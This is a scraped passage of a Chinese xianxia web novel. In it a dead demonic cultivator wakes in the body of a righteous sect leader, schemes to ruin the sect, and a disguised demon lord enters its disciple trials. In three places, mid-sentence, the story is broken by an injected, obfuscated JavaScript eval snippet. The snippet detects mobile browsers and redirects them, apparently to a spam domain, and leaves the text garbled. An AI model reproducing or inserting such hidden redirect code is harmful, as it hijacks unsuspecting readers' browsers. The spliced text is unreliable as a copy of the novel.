《黑心圣母》 1. 第 1 章 “你觉得死了吗?” “我觉得应该是死了。” “万一没死怎么办?” “要不……咱们再捅上一剑?” 花无咎睁开眼,一柄长剑从头顶斩下。 “我捅你大爷!” 她从地上一翻躲开一剑,一个鲤鱼打挺再站起来,手掌结印,魔气四溢,其中一个拿着剑的魔本来还想追着再下一剑,身体连着剑一起被魔气振飞。 “啊啊啊——诈尸啊诈尸啊!” 另外一个魔头也不回,屁滚尿流跑了。 心头骤然一痛。 花无咎将剑扎入地面,撑住自己的身体勉强不倒下。 流年不利,当真是流年不利。 先是被人暗算,又差点被魔城捡宝人当成尸羊给宰了——魔道好争,城里面东边不打架西边就要打架,一天到晚总是有好几处地方热闹,魔城里面就有人专门捡被打死的魔修,这种魔修就称作尸羊。 尸羊身上的法宝、钱,乃至有些修炼秘法需要用到尸体的,一并都搜刮干净。捡的人就自诩拾宝,恬不知耻称这行叫捡宝人。 魔城分为内城和外城,外城是普通魔修出没最多的地方,这里没有什么规矩,打架斗殴,买卖易物,都是人多了聚集起来,为了方便自己定个规矩,但守不守这个规矩,只看你本事大不大——你要是本事大,这里就什么规矩没有。 但内城,是魔尊的居所。 城内不允许斗殴,魔尊不喜欢,吵吵嚷嚷,街上流着血,看着也糟心。内城里面本事大的魔修多,本事再大,在这里也要规规矩矩,就跟凡人进了皇宫一样,触怒了圣威,人头落地就是一句话的事。 她现在身体虚弱,刚才聚集那一发魔气将人吓跑,已经耗尽了她几乎所有的功力,再遇上个不长眼的捡宝人—— 花无咎心下一凛,提剑一刻不歇往内城赶。 但…… 还没有等她走到城门口,她死了。 魔尊身边风花雪月四大护法,最张狂的一个,萧见雪,每次出现在外城都要魔气外放。功力差的魔修扛不住,靠得近就要被魔气割伤,全都要避他远远的。 她闪避不及,直接原地吐血而亡。 临死之前,她脑子里面只冒出来一句话。 老天想要玩你,你真是怎么躲都躲不过。 *** 无归门,长明殿。 大雪封山,天光照见料峭寒山十里,从殿门口往外看,茫茫然入目一片皆白。殿外冷,殿内燃香,专门有弟子结阵法,殿门开着,透光,里面依然香浓体暖。 殿内上首一把玉椅,上面铺着白狐裘,中间坐着一女子,肤白胜雪,容颜俊丽,身上穿着一袭白衣,金丝银线光华流转,殿中许多颜色,乍然去看,她最夺人眼目,但此时此刻,没有人看她。 所有人都在看跪在殿中的青年。 “随临,你跟魔修勾结,仙门三十六宗都知道,无归门留不下你了。你若是有悔改之心,今日你自废修为下山,为师可以饶你一命。” 武镇渊拔剑指着随临,又道:“你若答应,点头。” 殿中两边各站着一排弟子,其中一名女弟子冲出来,并排挨着随临,跪倒在武镇渊脚下。 “请武长老明查,随师兄一时心软放那妖女离开,绝非故意勾结,师兄为人外人不知道,武长老,这么多年师兄在门中如何,您还不知道吗?” 她哭得稀里哗啦,连磕三个响头。 “废了师兄修为,跟杀了他有什么差别?” 没有修为可以练出来修为,但是修为一废,连筋带皮都散了,此生彻底跟修行无缘。 她一站出来,更多弟子也站了出来,跪在武镇渊脚下,纷纷替那青年求情,几个人吵吵嚷嚷,武镇渊一句话都没听进去,怒叱一声,“谁再求情,一并逐出师门!” 刹时,殿内安静下来。 但静了没有一会儿,其中一位女弟子双膝挪动,往前再跪,对着上首那名白衣女子流泪磕头。 “门主,随师兄这么多年扶危救困天下苍生,为无归门出生入死,求门主轻谅,饶过他这回吧。” 武镇渊心下一寒。 他自作主张要废随临的修为,不过是为了救他一命。 随临私放魔道妖女,替她摆脱仙门众修士追捕,败坏了无归门的名声。这是天大一桩丑事,无归门作为三十六宗中上三宗,这么些年宗门后继无人,比其他两宗颓势尽显,仙门中其他人早就觊觎无归门的天灵宝地,要是叫人抓住这个把柄,称无归门跟魔道勾结,借机攻入,后果不堪设想。 逐出门派,已经是最好的保全之策。 随临是他亲手调教的弟子,这么多年感情,他当然知道随临为人。 反而门主…… 门主肩上责任重大,她要出手,随临只怕彻底没命。 武镇渊抬手起掌,霎时殿内罡风四起,“好,你不肯认罪,为师亲自动手!” “武长老不要!” “不要——!” “随师兄!” 随临不闪不避,昂头接掌,岂料那一掌还没有挨到他面上,殿内上首传来一道女声—— “慢着。” 武镇渊收掌,随临背后冷汗涔涔,此时此刻失力,身体再往下倒,勉强他抬起头来,看向门主。 “我觉得……咳,本门主觉得,这件事也没有什么大不了,不就是私放一个魔修吗,年轻人,不明白世上险恶遭人蒙骗,哪里需要这么大动干戈。就罚你……嗯……就罚你关十日禁闭好了。” 白映青率先离殿,留下殿内其他弟子,连同武长老在内,面面相觑。 “门主这是……” 武镇渊皱着眉头,前半句没说完,叫江兴运——无归门另一位长老给打断。 “门主办事,一定是有她的考量。”江兴运食指抵住嘴唇,放下来,再道,“门主一向以扶济宗门为己任,这一点,我想武长老明白。” 江兴运的意思是,这件事门主做得虽然不对,但是他们不要大肆去谈,口上没有把门,把这件本来不对的事情宣扬到人尽皆知的地步。 武镇渊点头。 转过头,他对着随临道,“门主饶你,你就不要再跪了。”等随临站起来,他再对着宗门众弟子道,“这件事情,门主既然已经下了定论,就不必要再多谈。念言,你带随临去裳羽崖思过,叫上两个弟子,轮流看管,每日送上一顿饭,十日之后再将他带回我这里,门主放过他,我身为他师长,一手调教他出来,犯下这样大错,他还应领我的罚。” 唐念言面有难色,几个弟子上前,欲言又止——武镇渊抬手,“不必再替他求情。” 江兴运没听完武镇渊在那里教训,转身就跟上了白映青。 他嘴上这么说,心里边却打鼓—— 门主心慈手软在整个仙门赫赫有名,无归门上下要守的纪律在三十六宗之中堪称最多,收弟子,天分第二,正本清源第一,她一向最看重宗门的名声,可如今…… 如今看来,她竟然心软在前。 到底随临是她从小看着长大,下不去手。 江兴运心里一叹,紧赶慢赶追上去,冲着那抹白影道,“门主,随临的事……” 白映青转过头,“随临?”她眉头一皱,很快再展,“哦,他啊。他……怎么了?” “放过随临,对无归门百害而无一益。”江兴运站定,再道,“如今仙门和魔道日益交恶,门主是否考量清楚?” “呵呵。当然,我考虑得很清楚。” 说完,白映青转头又走一步。 江兴运一个大跨步跟上。 “门主,曲剑宗和穹华派的心思,您一清二楚,咱们无归门这么多年——说句难听话,没有长进,他们都觉得咱们不配再当仙门上首,再则现在仙门说少了是三十六宗,说多了那上百都说不过来,鸡零狗碎的没有人去记着,天底下这么多的宗门,都觊觎咱们上三首的名头,因为随临这件事,叫其他仙门找到借口,我无归门就是当了那个靶子。” 白映青绕开江兴运,接着再走。见白映青不为所动,他焦急再道,“门主!万一有人说咱们无归门里藏了魔道妖孽,要上山搜查怎么办?” 白映青停住脚,不耐烦道:“说那么多有的没有的,你当我傻啊,仙门攻来就攻来吧,你们——咱们不是上三首吗?还怕那些虾兵蟹将?行了,本门主听得耳朵烦了,没什么事赶紧走,回去本门主还要睡觉呢。” 江兴运一愣,没反应过来,等回过神,白映青已经走到了幡梅堂,苍山白雪之中,一独影,差点就找不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219368|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 他立马提气纵身。 “门主,还有一件事,”急速飞落至白映青身前,江兴运伸手往西南方向一指,“潜入咱们宗门,咳——偷香窃玉那位,还关在地牢,等您去处置。” *** 无归门,白水牢。 白水牢里面没有水,只有阴森的寒气,无论什么时候进去,哈一口气,白朦朦的往头顶上飘,一年四季不改,由此得名白水。 普通寒气,对柳璞玉来讲没有什么大碍。 但他待着很无聊。 这破牢,这破席子,这破墙——连一扇窗户都没有,睁开眼,灰蒙蒙的一片,不知道从哪里透过来的一丁点光,刚刚能够看清楚廊道的一半。 剩下那一半,淹没在无垠的黑中。 给人一种错觉,不知道什么时候那里就会走出来一个人。看得久了,又会生出来另一种错觉——那里永远都不会走出来一个人。 柳璞玉心中惶恐,不停回忆发生过的一切,条分缕析掂量清楚,又稍稍安定。 他看上的不过是无归门一个外门弟子,连主峰都没有进,无足轻重——那贱人看上他出身高贵,非要他娶了她,才肯松口跟他肌肤之亲,开玩笑,当他不知道她在想些什么。 她算什么东西,也敢拿捏他。 戏耍了他这么久,他强要她,不过是来讨这笔债。 再则,那贱人叫得那么早,他根本都没来得及对她做点什么。 他没有错。 无归门门主不可能不放他。 说不定她还要赔礼道歉,亲自将他送回曲剑宗,告罪在这里亏待了他。 柳璞玉心中得意,盖过这么多天蜷缩在这里的不安,闭眼睡过去,不一会儿,廊道外传来错落的脚步声,声音由远及近,他倏然睁开眼。 牢房栅栏之外,站着一白衣女子。 面色无波,气质卓然,柳璞玉第一个反应—— 这就是白映青。 很多年以前,他就听说过她。 天山归雪无还路,白衣除恶天下知。 仙门三豪杰,上三宗各出一人,占了天灵宝地,三十六宗莫敢不服。她心慈手软仙门最出名,唯独杀魔修,手下从来没有留情。有人专门为这三人撰了一首诗,她排在第一个。 不是因为她实力最盛,而是那撰词人说,只要见她一眼,你绝对忘不了她。 你也绝对不会认不出来她。 “你就是柳璞玉?”那白衣女子开口,语气意外……竟然有一些戏谑,“胆子不小,跑过来无归门犯事。” 柳璞玉心中打鼓,有一些怯意,本来这么多天准备了很多要解释的话,这会儿一个字都说不出来。 “怎么,不讲话?” 柳璞玉脱口道:“我没有错!” “嗤。” 那白衣女子就这么说完,扭过头对身后一个长眉长须的男人道,“江长老看,这事该怎么处理?” 江兴运斟酌片刻,低声道:“我无归门牢房紧凑,犯事的人抓了都关不完,这种轻罪,鞭上两鞭,将他放了算了。” 直接放了,对宗门之内没有交代,抓着不放,罚得重了,又对曲剑宗没有交代。 门主这么问,应当是要他来给个台阶下。 白映青点了点头,抬脚就走,丢下两个字。 “也行。” 柳璞玉扑到栅栏上怒吼,“我没有错,为什么要鞭我!你知道我是谁吗?!白映青,你敢打我,你等着曲剑宗找上来,你无归门给我磕头谢罪!” 话一出口,白映青脚步一停。 她果然害怕! “我是柳缊的亲侄子,柳香云是我爹,你敢惹我,你等死吧!”柳璞玉心中得意,胸中这么多天积攒的怨气一下子都吐了出来,“三流门派,也敢跟我曲剑宗并称上首,你要是识相,速速将我放了,免得曲剑宗找上门来,你们所有人都不会好过!” “柳缊……”白映青倒回来走到牢房门口,“曲剑宗宗主?” “不错!” 扑哧——! 柳璞玉低下头,血从胸腔不停往外涌出。 “唰”的一声,长剑收回,那执剑的白衣女子满袖是血,负手而立,脸上带笑。 “你这么说,那我就不得不杀你了。” 2. 第 2 章 在第三千九百六十七次失败的尝试之后,花无咎接受了一个残酷的事实。 她用不了白映青的修为。 不知道为什么,她没有死,到了魔道最臭名昭著的女人身体里面。 醒过来的时候,她还以为自己在做梦,本着死道友不死贫道的修真精神,她在来叫醒她的弟子身上掐了两下。 弟子的叫声冲破房梁。 她下手的触感也很真,正儿八经是个人。 ——往往梦里面,或者进入某种幻境,这些细枝末节的东西做不到这种程度。 她是真的活过来了。 还成这辈子跟她仇最大的仙门门主。 当年她修为低微,魔城容不下她,魔城是天地之间魔尊所选的一块最适合魔修修炼的地盘,但里面低级魔修跟蚂蚁一样,路过的人都可以踩一脚,尤其被练邪功的魔修抓到,轻则丧命,重则炼成炉鼎,求生不得求死不能,她无奈出走人间。 人间受仙门庇护,所有仙门之中,就属无归门最爱多管闲事,在他们的地盘,但凡露了一点魔气,一呼百应都要来杀。 她跟条落水狗一样,被人打得好几次差点丧命。 就这么苟且过了几十年,她才修炼得有一点本事,胆敢回到魔城。 可是,她运道不好。 魔城之中,许多人看她独来独往,隔三差五就有人要来找她麻烦,她不得已拜入魔城外城西城守尉迟无情门下,无妄池九死一生,苍麓山百魔争命,她活了下来,被肯允当了他的走狗,分了个地盘。 尉迟无情的地盘,没有魔修敢来犯,她晚上才得以睡个安生觉。 但没有想到,她这么多年蝇营狗苟,最后还是就这么死了。 还死得这么卑贱。 被魔气割伤。 花无咎一手拍在脸上。 不肖说,按照魔修路见不平幸灾乐祸的素质,她的尸体一定被进行了深度且惨烈的围观。 现在她已经成为了白映青,那白映青又去哪里了呢? 没人的时候,花无咎一个人在房间里面喊了好多次白映青的名字。 默念的,喊出声的,都没有得到回应。 可能白映青已经死了。 但她为什么会死呢? 花无咎琢磨不明白。 经过许多天的冥思苦想,她得到一个最有可能的答案—— 前半辈子霉运走太多,老天爷都看不下去,要给她一个报仇雪恨的机会。 狗屁仙门上首,狗屁白衣除恶,白映青,你落到我手里,我一定要将你—— 等等。 算了,这具身体她还要用,先不杀她了。 不过无归门…… 呵呵。 花无咎在竹林连砍了七八十剑,没有一剑的剑气砍断了哪怕一根竹子,本来心情差得不行,想到这里,收起剑,开开心心又往回走。 她虽然用不会白映青的修为,但是白映青的名头,她还是可以用用的。 当然,要用这个名头的前提时,她不能够被人看出来,她不是真正的白映青。 之前几天操之过急,她路过饭堂的时候,不小心听见有人议论,说门主性情大变,讲话做事跟从前差了很多。她驻足听了一会儿,听见有人说了一句“鬼上身”。 本来只是一句玩笑话,但叫她心下一跳。 万一叫无归门的人看出来她是个假货,必然饶不了她,她好不容易撞了大运捡到条命,可不能就这么交代了。 她忍不住多听了一会儿,又听见人说门主做事自有考量,叫他们别在这里瞎说八道,许多人都附和说是,但不一会儿,有人嘀咕说,白映青之前闭关了一个月,醒过来之后就成了这样,会不会是功法练岔了。 马上她就回去找到江兴运,借坡下驴,就用这个借口,说闭关之后醒过来头昏昏沉沉,这几天做的许多事情都觉得有点不对劲。 江兴运大松一口气,道:“门主,我就说,您怎么会捅柳璞玉一剑。” 花无咎一本正经道:“他潜入无归门轻薄我门中弟子,且出言不逊,一时冲动。这件事是我没有想到,他背后关联太大,不该如此。” 她吐了一口气,再道,“幸好,此人命大,没有令我酿成大错。” 她虽然捅了柳璞玉一剑,但那一剑没有注入修为,柳璞玉是个修士,而且身上还带着一个法宝,那法宝能够阻止气血断流,是上等宝物,将他身上断掉的筋络全都连了上来。 捅完第二天没管,他又活蹦乱跳回来了。 不过人被吓着了,在地牢里面怕得要死,见不得人。 尤其见不得她。 她一去,他就鼻涕眼泪飞肆,尿裤兜里。 “此人关系重大,放回去也不是,就关着他吧。切记,不要走漏任何风声。他心怀不轨,想必来无归门这件事也没有告诉过别人。天知地知,你知我知。” 她说自己冲动,这一点不假。 现在白映青的身体是她在用,万一曲剑宗的人攻上来,第一个就要找她算账,虽然她想要让无归门从仙门三十六宗之中消失,但没有想过要将自己给赔上。 至少,不是现在。 得让她先找到一个合适的身体,可以放心把烂摊子都留给白映青和无归门之后,才从她身体里面出来。 魂魄出窍的功法 ,不管是仙门还是魔道都有,但是这门法子练的人不多,往往是那些走邪门歪道的,本身惹了大祸要躲避仇家的,才学这门功法。 盖因这门功法最重要的一个前提,重新找来的那具身体,修为不能够高过原本的身体。这样才能够在布阵之时完全压制新的容器,否则魂魄离体,原本的身体回不去,新的容器也容不下。 但世上所有功法,求的都是一个长进。这种不进反退的功夫,不算是什么秘辛,摆在那里都没有人去碰。 魔修和仙门练的不是一个路子,她催动不了白映青的修为,不算意外。 在无归门留得越久,被发现端倪的可能性就越大。 首先,她需要在不被人发现身份的前提下,能坏多少事坏多少事。 其次,她需要尽快找到一个魔修的身体,白映青身体的威压在那里,天底下能够用的身体多了去了,如果有可能的话,最好找到一个上乘的容器。 虽然原本的身体没有了很是可惜……但,如果能够就此脱胎换骨,也未尝不是一件好事。 魔修换魂的方法,早年间她听说过,需要找到一个极寒之地,将原本的容器四肢锁上,容器可以是活人,也可以是死人。 若是死人,必须是刚死不久,不能够超过一天。 死得最久,不超过七天。但那样的身体虽然可以用,这么多天消耗下来,腐败得也令人恶心,最好是不要。 不过这套法子对白映青这种路子的修士适不适用,难说。 花无咎琢磨了一下,觉得还是不能够冲动,万一没搞好,把自己交代了就完蛋了,还得再探!无归门中收纳兵器秘籍的地方叫做幡梅堂,就在她住着的主峰,这里设有禁制,但是对她——对白映青来说,出入没有任何障碍。 花无咎一个人在幡梅堂翻了一整天的书,居然真的翻出来换魂的法子。 法子跟魔修果真有些出入,但大体上,相似极了。 本来她想要将书偷偷带出去,但是不确定这里边带走书之后,会不会被别的弟子和长老发现,刚好又知道这本书里面记载什么内容,联想到她最近的异样,故而只留下来,每天翻几页,背诵之后重新拿笔墨誊写,藏在身上。 这件事情处理好,剩下的就是找适合的身体。 她现在去不了魔城,也没有修为,找魔修的身体是难如登天,但—— 老天又又又帮了她一把! “门主,霓霞镇出现魔修踪迹,三户人家满门被害,十余年轻女子被掳,不知所踪。庞师弟传信回来,说那魔修功法高深,杀人不眨眼,恳请门主再派更多弟子前去诛杀。” 经过这么多天不动声色的探听,花无咎已经摸清楚了白映青在无归门的情况。 无归门一共两位长老,地位平起平坐,只低白映青一等。两位长老分管门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219369|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下各峰弟子,而白映青很少收徒,只有三位亲传弟子。 大徒弟叫陆扇,二徒弟叫易彤,三徒弟叫庞英桥。 陆扇被白映青派出去游历四方增长见识,现在不在门内,二徒弟易彤她见了,性子活泼,机灵乖巧,三徒弟庞英桥,被派出去诛杀魔修,现在还没有回来。 过来她房间跟她传话的人是随临,是武镇渊最宝贝的亲传弟子——现在她才回过味来,那武镇渊那天在殿中种种举动,不过是为了救这小子一命。 随临修为高强,门内皆知,他也经常带小弟子练功,有一些声名,往来都称呼他一句大师兄。 “既如此,由你再带十个弟子下山,助庞英桥捉拿魔修,”花无咎想了想,郑重又提了一嘴,“切记,不要杀他。务必活捉,带回无归门。” 随临领命下山。 花无咎每天在无归门关起门来,吃吃喝喝,闲来没事在幡梅堂找两本闲书看看,上山下山活动身体,每天过得无聊又惬意,静等着那个魔修被抓回来,直到有一天,她吃完饭站在山巅吹风,被江兴运捉到。 江兴运在背后遥遥喊了她一声,花无咎本来不想要搭理——基本上,她都是这么个路子。 多说多错,能不说就不说,别人不来找她,她就坚决不去找别人。 尤其那个话特别多的二徒弟易彤,她都躲着不去她住的地方,免得张口她就要来打招呼,拉着她讲话。 人就是越亲近,越能够看出来端倪。 据她所知,白映青这个人跟门内所有人来往都不多,公事公办,很多人既仰慕她,又害怕她。这一点,反而对她有利。 花无咎沉淀了一下,转过头,冷漠道:“什么事?” 江兴运走到花无咎身前站定,心头一颤——门主虽然从来不施威压,但那双眼睛落在谁身上,任谁都难免心生惧意。 那里面似冷非冷,似寒非寒,多看上一阵,就觉得魂魄出窍,四肢不灵。 “门主,马上就到三年一度的仙门收徒大典,”江兴运垂下头,恭恭敬敬道,“据我所知,曲剑宗和穹华派都已经派出去遣行师,在人间各地游走,剩下的大小宗门,也都闻风而动,咱们是不是也应该……” 遣行师是仙门负责招徒专门用的一个称呼,这些人可能是门中有声望的弟子,也有可能是一些厉害的师父,或者单纯只是为了到各地宣扬宗门名气的普通弟子。 她当年在人间摸爬滚打很多年,对这一套东西非常熟悉。 简单来说,吹牛逼的。 糊弄不懂行的凡人,这种时候派出去的遣行师,往往不是修为最高的,而是耍出来的花架子最好看的。凡人看不出来修士的深浅,谁耍得好,就觉得谁厉害。谁穿的亮堂,就觉得谁的宗门更上一层。 堪称仙门版胸口碎大石。 哪个宗门出去的人最夺人目光,那年招收过来的弟子就最多,能够挑到好苗子的几率就更大。如今仙门争抢有资质的凡人,表面上云淡风轻,背地里拳打脚踢。 正所谓提高自己不如贬低别人,往往到这种时候,都是各仙门的臭事云扬四方的时机。 譬如这个仙门有很多好色之徒,那个仙门的长老克扣徒弟,打死不听话的凡人……如此种种,总是“不经意”流传到广大求问仙途的凡人耳朵里面。 凡人好美色,那些没有本事跟大仙门比财力、比法宝、比本事的小宗门,就会专门派长得最好看的弟子出去,甚至还会找些美人,假扮仙师,诓人进门。 无归门不争不抢,又不爱穿金戴银,出去的遣行师各个呆头呆脑,只知道讲宗门有一二三四五这样那样的规矩,招得到好苗子才怪了。 宗门没落,活该! “不。”花无咎淡淡道。 江兴运刚预备将自己计划派出去的遣行师名录拿出来呈给白映青看,突然听见这么一个字,卡住了。 “啊?” “争来抢去,来的也不是真正要来的人。无缘不必强求。” 江兴运仰起头,只见身前白衣女子神色淡然,身影翩翩卓雅,负手独自离去。 3. 第 3 章 无归门主峰是最险峻的一座峰,易守难攻,这里每到冬季,雪覆寒山,翠峦之上都是一层厚雪,上山下山有一条门内弟子专门凿出来的道,相对平缓,其他地方,一不留神走深了,白雪踩下去不知深浅,很容易落空。 花无咎无聊得乱跑,已经很小心在走路,但还是差点摔得人仰马翻。 她现在发现了一个非常严峻的问题。 无归门能够进入主峰的弟子,往往都已经有一些本事,御剑飞行,拔地而起,那都是不在话下,遇到一些难走的路,往往都不再步行。 可她催动不了白映青的修为,在这里跟个凡人没什么两样。 花无咎按住额头。 揪心。 虽然无归门内风平浪静,不需要刀剑相指分个高低,但是……等所有人都在飞的时候,就她一个人在走,或者遇到什么急事,长老在前面飞,她一个人两条腿在后面追。 丢大脸。 绝对会被揪出来。 她身份败露,必死无疑。 花无咎心下一寒,连夜赶到幡梅堂,翻看里面有什么练习飞天遁地的功法。 幡梅堂里面收藏了无归门自建派以来本门功法,还有外面搜集来的一些御剑飞行的法术。 种类繁多,挑起来眼睛都乱了。 白映青既然是无归门的门主,练的肯定是自家功法。花无咎从里面挑出来两本,分别都是飞行之术,有一些不同。 一本适合初入门没有修为的弟子,一本适合已经有修为的弟子。 花无咎想了想,两本一起带走。 “本门主闭关一月,后山之中,谁都不要上来。”花无咎吩咐完,又觉不妥,“每日饮食,早上送过来,晚上再带走,还是照从前的样子。” 花无咎先练那本适合没有修为弟子入门的功法——书里边主要讲的是身法,本来,她以为练起来麻烦,没想到白映青这具身体非常好使,记东西很快,很多东西熟练得很。 不费劲。 花无咎直接打开另外一本适合提升的功法。 这本书需要练的就不只是身法,还需要心静,澄澈有感——往往这种东西,玄而又玄,最是难练。 即使是白映青的身体,这种东西也不能够速成,她一介魔修,这玩意儿要能练出来十成,那么才是滑天下之大稽。 一成。 花无咎定下目标。 按照白映青的能力,她能够领悟一成,应该也够用了。 放下书,花无咎闭目冥想。 经过了半个月的练习,她虽然没有练成一丁点儿的功法,但是突然之间她找到了这具身体的灵心所在。 灵心,只有修行大能才拥有的东西。 灵心之中,她感觉到这具身体灵力流转,深浅轻重。 又经过一段时间的练习,她偶尔能够参悟一点心法,但是白映青的修为太强,她都是完全发力,配合上已经熟稔的身法,一飞冲天。 只会飞,不会掉,差一点她就要从悬崖之上掉下去,成为史上第一个坠崖而死的大能。 花无咎双手攀住峭壁之上凸出来的两块竣石,寒风吹着她吊在半空中的两条腿,转过头,崖深不见底,心中惶恐,一瞬之间身体爆发无穷灵力,她感觉自己已经不再属于这个身体,许多事情没有经过她的想法—— 云起风萧萧,彻响之中,她足尖轻点悬崖之上奇石尖翘,翩跹翻身,灵力流转,华光四溢,灵心之中源源不断的力量灌输到她四肢百骸,她目向山峦之中最平坦一块雪地,俯身轻冲,顷刻之间落地。 稳稳当当。 灵力逸散。 花无咎站在原地,伸出手来,翻开掌心低头看。 刚才…… 花无咎按住脑袋。 刚才那个人……是白映青吗?还是这个身体留下的记忆,濒死之时,不需要催动,自然而然的反应。 花无咎庆幸完,又不觉恐惧,心中口中,喊了好几声白映青的名字。 良久,她松了一口气。 没有人应答。 要是叫白映青重新活过来,那不用被无归门的人发现,她绝对吃不了兜着走。 花无咎试着几次调息,从最轻的灵力,一点点试着往上提升,配合身法,好一段时间,终于大概掌握了无归门的飞行之术。 不需要飞多快,配合这具身体习惯的身法,也能够糊一下人。 而且依照她看,远远超过她当初定下一成的目标! 花无咎心满意足下山,时间已经过了两个月,马上就要开春,刚一回房间,江兴运就火急火燎找她。 “什么事?” 花无咎打开门,江兴运躬身从怀中掏出来两本册子,面上激动。 “门主,陆扇游历四方,尤其在苍城铲奸除恶,令凡间许多人都知道了无归门,今年我们无归门,风头最盛,天下有识之士,无名之辈,都想要拜来我无归门门下。” “这是今年登记报名的弟子,比往年五倍还要多,足足记了两册。” 花无咎:“……” 久久没有得到应答,江兴运站直,抬头轻问:“门主,您怎么了?” “呵呵,没有什么,是个好事,陆扇做得不错。” 好你个屁股,陆扇,你给我等着。 “是啊,此子天资聪颖,心志坚毅,当年那么多弟子之中,就属他最有出息——”江兴运说到这里,突然想起来另外一件更重要的事,赶紧打住,“门主闭关这些日子,收徒大典已经开始,您出关得正是时候,第一轮试炼完毕,已经选出来一些好苗子,等着门主先挑。” 先挑,什么意思? 花无咎皱了一下眉头,心中有一些打鼓,正琢磨怎么套话,马上江兴运就道:“如果门主看中,可以收下作为亲传,不用再登记在其他人门下,分别试炼,您多年没有收徒,门主亲自调教,各个都很出众,门主有意,我马上就去安排。” 原来是这个意思。 江兴运想要给白映青塞徒弟。 花无咎第一个反应是回绝。 开玩笑,她又不是白映青,有个屁能够教给别人的。再说,就算她能教,她也不要教。 “嗯,你去安排吧。” 沉思片刻,花无咎这么说。 挑人她不会,踢人她倒是可以。 资质好的,全都不准留在无归门。 *** 无归门,彩玉镇。 客栈人满为患,住着的都是从天下各处前往来无归门拜师的凡人。仙门收徒,不论家境,不论背景,客栈都是仙门出钱,无论是谁,不需要钱就能够入住,房间布设每日吃饮,没有任何差别。 客栈里面,有的人穿金戴银,有的人衣衫褴褛,有的人气宇轩昂,有的人似丧家之犬,从头到脚都是衰气,人人见了避之不及。 修真之道,不看在凡间种种得失,只看根骨,生来是什么样,无论之后再怎么长,都改变不了所谓根骨。 如果被仙师看上,可能本来平平无奇的乞儿,也能够一朝登天,成为人人仰慕的仙道之师。 根骨不好,管你是王公贵族还是富甲一方,统统打发回去。 这一点上,老天爷很公平。 但另外有一点,老天爷很不公平。 有的人不仅长得好看,有钱有势,连修真也玩得比别人转。 客栈大堂,西南角的位置,坐着的就是这么个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219370|181430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见人恨的存在。 相貌俊美,青衣白冠,脸上手上没有一点疤痕,细皮嫩肉,身上带着一柄长剑,剑鞘上缀着一连串红黄蓝绿的宝石,颗颗硕大,一看就价值连城。 此人名叫展信霖,门派试炼,他夺得头筹,人人都知道他的名字。 无归门长老江兴运很看重他,看那样子,保不准能够收作亲传弟子。 这富家公子,身边还跟着一个小厮,长得也是好看,低眉顺目,他说东那人不往西,他说西那人不往东,伺候他吃饭洗漱,客栈里面都见他眼熟。 就他一个,不是为了踏入仙门的人,在这儿进进出出。 因今年来的人多,客栈拥挤,无归门有规定,除了有登记要参加试炼的人,其余人等不允许住在客栈之中。 这小厮不知道住去了哪里,每天天一亮再回来,天黑了就不见人影,现在刚刚天亮,他就又回来了。 正伺候他主子吃饭。 吃完饭,两个人往回走,众人佯作不在意,静等着二人离开,马上就是议论纷纷。 虽然这人长得好看,修为高深,但一定不是什么好东西,众人你一言我一语,纷纷交换自己在这两人身上看到的蛛丝马迹,论证这人心肝脾肺肾一定都坏透了,无归门收错了人。 司空风人坐在二楼客房之中,房门虽然紧闭,但这些凡人所说的话,他一字不落全都听了进去。 “尊上,这些人出言不逊,要不要我——” “不必。” 房内,南宫明渡淡淡一笑。 “庸碌之辈,只会背后指人。无归门今年来的多一些这种货色,对我来说未免不是一件好事。” “尊上功法高深,就算是白映青来了,也不是您对手,区区几个凡夫俗子,怎么可能将您比下去。”司空风手上结印,将门外的声音统统堵住,转身走到南宫明渡身边,“那江兴运看您眼睛都看得直了,您小露一手,已经叫无归门大开眼界,今年您必然能够选上。” “江兴运,本座没有兴趣。” 司空风刚想要问他对什么感兴趣,马上反应过来,紧闭嘴唇。 魔尊最讨厌别人多嘴。 魔尊虽然命他随行,但魔尊此行,所谓何事,为何要潜入无归门,并没有告诉过他。 “本座的事,本座自有分寸,没有本座吩咐,你别在这里多管闲事。露出破绽,本座拿你是问。” 司空风点头:“是。” 南宫明渡喝了一口茶,话锋一转,“魔城之中,最近有什么动静?” “回禀尊上,魔城风平浪静。您离开的事,没有多少人知道,也没有宣扬开。只是……” 南宫明渡皱眉:“只是什么?” “只是几位护法知道,尉迟无情也知道,之前萧见雪跟尉迟无情有一些囹圄,尉迟无情手下有个女魔修,据说在外城被萧见雪给打死了,尉迟无情一直想要找他算账,奈何您有吩咐,内城不允许擅斗。” “尉迟无情一直没有找着机会,现在知道您走了,两个人就打上了。” “尊上,您若觉得不妥,属下……” 